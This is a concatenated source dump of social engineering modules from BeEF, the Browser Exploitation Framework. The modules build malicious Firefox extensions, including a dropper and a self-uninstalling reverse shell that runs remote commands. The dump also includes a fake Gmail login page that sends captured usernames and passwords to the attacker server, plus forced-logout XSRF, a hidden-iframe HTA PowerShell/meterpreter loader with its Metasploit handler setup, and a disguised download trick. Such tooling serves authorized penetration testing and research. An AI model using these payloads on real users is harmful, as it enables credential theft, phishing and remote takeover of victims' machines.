================================================ {861fb387-92ce-bb0a-cb48-4b923dbc292b} __extension_name_placeholder__ 1.0 true true toolkit@mozilla.org 1.0 * {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 1.0 * ================================================ FILE: modules/social_engineering/firefox_extension_dropper/extension/overlay.xul ================================================ ================================================ FILE: modules/social_engineering/firefox_extension_dropper/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Firefox_extension_dropper < BeEF::Core::Command class Bind_extension < BeEF::Core::Router::Router before do headers 'Content-Type' => 'application/x-xpinstall', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end get '/' do response['Content-Type'] = 'application/x-xpinstall' extension_path = settings.extension_path print_info "Serving malicious Firefox Extension (Dropper): #{extension_path}" send_file extension_path.to_s, type: 'application/x-xpinstall', disposition: 'inline' end end def pre_send # gets the value configured in the module configuration by the user @datastore.each do |input| @extension_name = input['value'] if input['name'] == 'extension_name' @xpi_name = input['value'] if input['name'] == 'xpi_name' end mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper" extension_path = "#{mod_path}/extension" # clean the build directory FileUtils.rm_rf("#{extension_path}/build/.", secure: true) # retrieve the name of the dropper binary Dir.foreach("#{mod_path}/dropper") do |item| if item != 'readme.txt' && item != '.' && item != '..' @dropper = item print_info "Using dropper: '#{mod_path}/dropper/#{@dropper}'" end end if @dropper.nil? print_error "No dropper found in '#{mod_path}/dropper'" return end # copy in the build directory necessary file, substituting placeholders File.open("#{extension_path}/build/install.rdf", 'w') { |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) } File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__payload_placeholder__', @dropper) } File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") } File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") } FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}" extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper] # create the XPI extension container xpi = "#{extension_path}/#{@xpi_name}.xpi" File.delete(xpi) if File.exist?(xpi) Zip::File.open(xpi, Zip::File::CREATE) do |xpi| extension_content.each do |filename| xpi.add(filename, "#{extension_path}/build/#{filename}") end end # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition) bind_extension = Firefox_extension_dropper::Bind_extension bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi" BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) BeEF::Core::Server.instance.remap end def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" [ { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' }, { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' }, { 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var xpi_name = '<%= @xpi_name %>'; var ff_extension = '/' + xpi_name + '.xpi'; if(beef.browser.isFF()){ var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html("<%= @notification_text %> "); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); //window.location.href = ff_extension; window.open(ff_extension); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); } }); ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: firefox_extension_reverse_shell: enable: true category: ["Social Engineering"] name: "Firefox Extension (Reverse Shell)" description: "Create on the fly a malicious Firefox extension that makes a reverse shell connection to a specified host:port.

    The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit." authors: ["antisnatchor", "bcoles"] target: user_notify: FF: min_ver: 1 max_ver: 56 not_working: ["All"] ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/extension/bootstrap.js ================================================ function startup(data, reason) { var file = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("ProfD", Components.interfaces.nsIFile); file.append("extensions"); xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}"; file.append(xpi_guid); // # ./msfpayload firefox/shell_reverse_tcp (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); var host = '__reverse_shell_host_placeholder__'; var port = __reverse_shell_port_placeholder__; var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"] .getService(Components.interfaces.nsISocketTransportService); var socket = socketTransport.createTransport(null, 0, host, port, null); var outStream = socket.openOutputStream(0, 0, 0); var inStream = socket.openInputStream(0, 0, 0); var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); var listener = { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, onDataAvailable: function(request, context, stream, offset, count) { var data = NetUtil.readInputStreamToString(stream, count).trim(); runCmd(data, function(err, output) { if (!err) outStream.write(output, output.length); }); } }; var readFile = function(path) { try { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(path); var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); fileStream.init(file, 1, 0, false); var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] .createInstance(Components.interfaces.nsIBinaryInputStream); binaryStream.setInputStream(fileStream); var array = binaryStream.readByteArray(fileStream.available()); binaryStream.close(); fileStream.close(); file.remove(true); return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); } catch (e) { return ""; } }; var setTimeout = function(cb, delay) { var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); return timer; }; var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src; var runCmd = function(cmd, cb) { cb = cb || (function(){}); if (cmd.trim().length == 0) { setTimeout(function(){ cb("Command is empty string ('')."); }); return; } var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; var sync = true; // avoid zalgo's reach var sent = false; var retVal = null; try { retVal = Function('send', js[1])(function(r){ if (sent) return; sent = true if (r) { if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); }); else cb(false, r+tag+"\n"); } }); } catch (e) { retVal = e.message; } sync = false; if (retVal && !sent) { sent = true; setTimeout(function(){ cb(false, retVal+tag+"\n"); }); } return; } var shEsc = "\\$&"; var shPath = "/bin/sh -c" if (windows) { shPath = "cmd /c"; shEsc = "\^$&"; var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); jscriptFile.append('7kZuA4kPoh2HzVagS.js'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0); stream.write(jscript, jscript.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } } var stdoutFile = "7tDzOIHbP3vzglqB"; var stdout = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); if (windows) { var shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { var shell = shPath+" "+cmd.replace(/\W/g, shEsc); shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); if (windows) { sh.initWithPath("C:\\Windows\\System32\\wscript.exe"); process.init(sh); var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));}); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); setTimeout(function(){cb(false, readFile(stdout.path));}); } }; pump.asyncRead(listener, null); })(); try { // Fx < 4.0 Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); } catch (e) {} try { // Fx 4.0 and later Components.utils.import("resource://gre/modules/AddonManager.jsm"); AddonManager.getAddonByID(xpi_guid, function(addon) { addon.uninstall(); }); } catch (e) {} } ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/extension/build/readme.txt ================================================ This is a temp directory where the Firefox extension will be built. ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/extension/chrome.manifest ================================================ content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/extension/install.rdf ================================================ {861fb387-92ce-bb0a-cb48-4b923dbc292b} __extension_name_placeholder__ 1.0 true true toolkit@mozilla.org 1.0 * {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 1.0 * ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/extension/overlay.xul ================================================ ================================================ FILE: modules/social_engineering/firefox_extension_reverse_shell/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Firefox_extension_reverse_shell < BeEF::Core::Command class Bind_extension < BeEF::Core::Router::Router before do headers 'Content-Type' => 'application/x-xpinstall', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end get '/' do response['Content-Type'] = 'application/x-xpinstall' extension_path = settings.extension_path print_info "Serving malicious Firefox Extension (Reverse Shell): #{extension_path}" send_file extension_path.to_s, type: 'application/x-xpinstall', disposition: 'inline' end end def pre_send # gets the value configured in the module configuration by the user @datastore.each do |input| @extension_name = input['value'] if input['name'] == 'extension_name' @xpi_name = input['value'] if input['name'] == 'xpi_name' @lport = input['value'] if input['name'] == 'lport' @lhost = input['value'] if input['name'] == 'lhost' end mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell" extension_path = "#{mod_path}/extension" # clean the build directory FileUtils.rm_rf("#{extension_path}/build/.", secure: true) # copy in the build directory necessary file, substituting placeholders File.open("#{extension_path}/build/install.rdf", 'w') do |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) end File.open("#{extension_path}/build/bootstrap.js", 'w') do |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__reverse_shell_port_placeholder__', @lport).gsub!('__reverse_shell_host_placeholder__', @lhost) end File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") } File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") } extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest'] # create the XPI extension container xpi = "#{extension_path}/#{@xpi_name}.xpi" File.delete(xpi) if File.exist?(xpi) Zip::File.open(xpi, Zip::File::CREATE) do |xpi| extension_content.each do |filename| xpi.add(filename, "#{extension_path}/build/#{filename}") end end # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition) bind_extension = Firefox_extension_reverse_shell::Bind_extension bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi" BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) BeEF::Core::Server.instance.remap end def self.options @configuration = BeEF::Core::Configuration.instance beef_host = @configuration.beef_host [ { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' }, { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '1337' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => beef_host.to_s } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/social_engineering/gmail_phishing/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { window.clickedSubmitButton = function () { var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); //Timeout needed because otherwise the beef panel doesn't get the credentials in time setTimeout(window.redirect, <%= @wait_seconds_before_redirect %>); }; window.redirect = function () { var theXssUrl = "<%== @xss_hook_url %>"; if(theXssUrl){ window.open(theXssUrl); window.focus(); } window.location = "https://accounts.google.com/"; }; function logoutGoogle() { var img = document.createElement("IMG"); img.src = "https://mail.google.com/mail/?logout"; img.height = "1px"; img.width = "1px"; img.style.visibility = "hidden"; document.body.appendChild(img); //set a new setTimeout to redo the logout setTimeout(logoutGoogle, <%= @logout_gmail_interval %>); } function displayPhishingSite(){ var zztop = beef.dom.getHighestZindex()+1; beef.dom.removeStylesheets(); document.body.innerHTML = " Google Mail: Email from Google

    Google Mail

    A Google approach to email.

    Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

    • Lots of space

      Over 2757.272164 megabytes (and counting) of free storage.

    • Less spam

      Keep unwanted messages out of your inbox.

    • Mobile access

      Get Google Mail on your mobile phone. Learn more

    Take Google Mail to work with Google Apps for Business

    Love Google Mail, but looking for a custom email address for your company?
    Get business email, calendar, and online docs @your_company.com. Learn more

    "; } document.title = "Google Mail: Email from Google"; beef.browser.changeFavicon("https://www.google.com/mail/help/images/favicon.ico"); logoutGoogle(); displayPhishingSite(); }); ================================================ FILE: modules/social_engineering/gmail_phishing/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: gmail_phishing: enable: true category: "Social Engineering" name: "Google Phishing" description: "This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)." authors: ["floyd @floyd_ch floyd.ch"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/gmail_phishing/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Gmail_phishing < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" xss_hook_url = "#{base_host}/demos/plain.html" logout_gmail_interval = 10_000 wait_seconds_before_redirect = 1000 [ { 'name' => 'xss_hook_url', 'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, ' \ 'simply leave this field empty, but this means you will loose the hooked browser after executing this module.', 'ui_label' => 'XSS hook URI', 'value' => xss_hook_url, 'width' => '300px' }, { 'name' => 'logout_gmail_interval', 'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.', 'ui_label' => 'Gmail logout interval (ms)', 'value' => logout_gmail_interval, 'width' => '100px' }, { 'name' => 'wait_seconds_before_redirect', 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) ' \ 'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.', 'ui_label' => 'Redirect delay (ms)', 'value' => wait_seconds_before_redirect, 'width' => '100px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/hta_powershell/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function(){ var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta'; if (beef.browser.isIE()) { // application='yes' is IE-only and needed to load the HTA into an IFrame. // in this way you can have your phishing page, and load the HTA on top of it beef.dom.createIframe('hidden', {'src': hta_url, 'application': 'yes'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'HTA loaded into hidden IFrame.'); } }); ================================================ FILE: modules/social_engineering/hta_powershell/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: hta_powershell: enable: true category: ["Social Engineering"] name: "HTA PowerShell" description: "Tricks the user into opening and allowing the execution of an HTML Application (HTA), appended to the DOM into an hidden IFrame.
    If the user allows execution, powershell is used to download the payload (by @mattifestation) from BeEF.

    The default payload is windows/meterpreter/reverse_https, and the attack works on both x86 and x86_64 targets.

    Before launching the module, do the following on Metasploit:
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_https
    set LHOST x.x.x.x
    set LPORT 443
    set ExitOnSession false
    set AutoRunScript post/windows/manage/smart_migrate
    exploit -j -z" authors: ["antisnatchor"] target: user_notify: ["IE"] not_working: ["ALL"] ================================================ FILE: modules/social_engineering/hta_powershell/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hta_powershell < BeEF::Core::Command def self.options @config = BeEF::Core::Configuration.instance ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url') [ { 'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => @config.beef_url_str }, { 'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => ps_url } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/social_engineering/lcamtuf_download/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var maliciousurl = '<%= @malicious_file_uri %>'; var realurl = '<%= @real_file_uri %>'; var w; var once = '<%= @do_once %>'; function doit() { if (!beef.browser.isIE()) { w = window.open('data:text/html,', 'foo'); setTimeout(donext, 4500); } } function donext() { window.open(maliciousurl, 'foo'); if (once != true) setTimeout(donext, 5000); once = true; } doit(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed"); }); ================================================ FILE: modules/social_engineering/lcamtuf_download/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: lcamtuf_download: enable: true category: "Social Engineering" name: "Lcamtuf Download" description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." authors: ["Bart Leppens"] target: user_notify: ["FF", "C"] not_working: ["IE", "O"] ================================================ FILE: modules/social_engineering/lcamtuf_download/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Lcamtuf_download < BeEF::Core::Command # set and return all options for this module def self.options [{ 'name' => 'real_file_uri', 'description' => 'The web accessible URI for the real file.', 'ui_label' => 'Real File Path', 'value' => 'http://get.adobe.com/flashplayer/', 'width' => '300px' }, { 'name' => 'malicious_file_uri', 'description' => 'The web accessible URI for the malicious file.', 'ui_label' => 'Malicious File Path', 'value' => '', 'width' => '300px' }, { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore', 'store_fields' => ['do_once'], 'store_data' => [['false'], ['true']], 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true }] end def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/pretty_theft/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { imgr = "<%== @imgsauce %>"; var answer= ''; // set up darkening function grayOut(vis, options) { // Pass true to gray out screen, false to ungray // options are optional. This is a JSON object with the following (optional) properties // opacity:0-100 // Lower number = less grayout higher = more of a blackout // zindex: # // HTML elements with a higher zindex appear on top of the gray out // bgcolor: (#xxxxxx) // Standard RGB Hex color code // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'}); // Because options is JSON opacity/zindex/bgcolor are all optional and can appear // in any order. Pass only the properties you need to set. var options = options || {}; var zindex = options.zindex || 50; var opacity = options.opacity || 70; var opaque = (opacity / 100); var bgcolor = options.bgcolor || '#000000'; var dark=document.getElementById('darkenScreenObject'); if (!dark) { // The dark layer doesn't exist, it's never been created. So we'll // create it here and apply some basic styles. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917 var tbody = document.getElementsByTagName("body")[0]; var tnode = document.createElement('div'); // Create the layer. tnode.style.position='absolute'; // Position absolutely tnode.style.top='0px'; // In the top tnode.style.left='0px'; // Left corner of the page tnode.style.overflow='hidden'; // Try to avoid making scroll bars tnode.style.display='none'; // Start out Hidden tnode.id='darkenScreenObject'; // Name it so we can find it later tbody.appendChild(tnode); // Add it to the web page dark=document.getElementById('darkenScreenObject'); // Get the object. } if (vis) { // Calculate the page width and height //if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) { // var pageWidth = document.body.scrollWidth+'px'; // var pageHeight = document.body.scrollHeight+'px'; //} else if( document.body.offsetWidth ) { // var pageWidth = document.body.offsetWidth+'px'; // var pageHeight = document.body.offsetHeight+'px'; //} else { // Previous lines were not rendering page background correctly var pageWidth='100%'; var pageHeight='100%'; //} //set the shader to cover the entire page and make it visible. dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=zindex; dark.style.backgroundColor=bgcolor; dark.style.width= pageWidth; dark.style.height= pageHeight; dark.style.display='block'; } else { dark.style.display='none'; } } // CURRENTLY NOT USED // Send done prompt to user function win(){ document.getElementById('popup').innerHtml='

    Thank you for re-authenticating, you will now be returned to the application

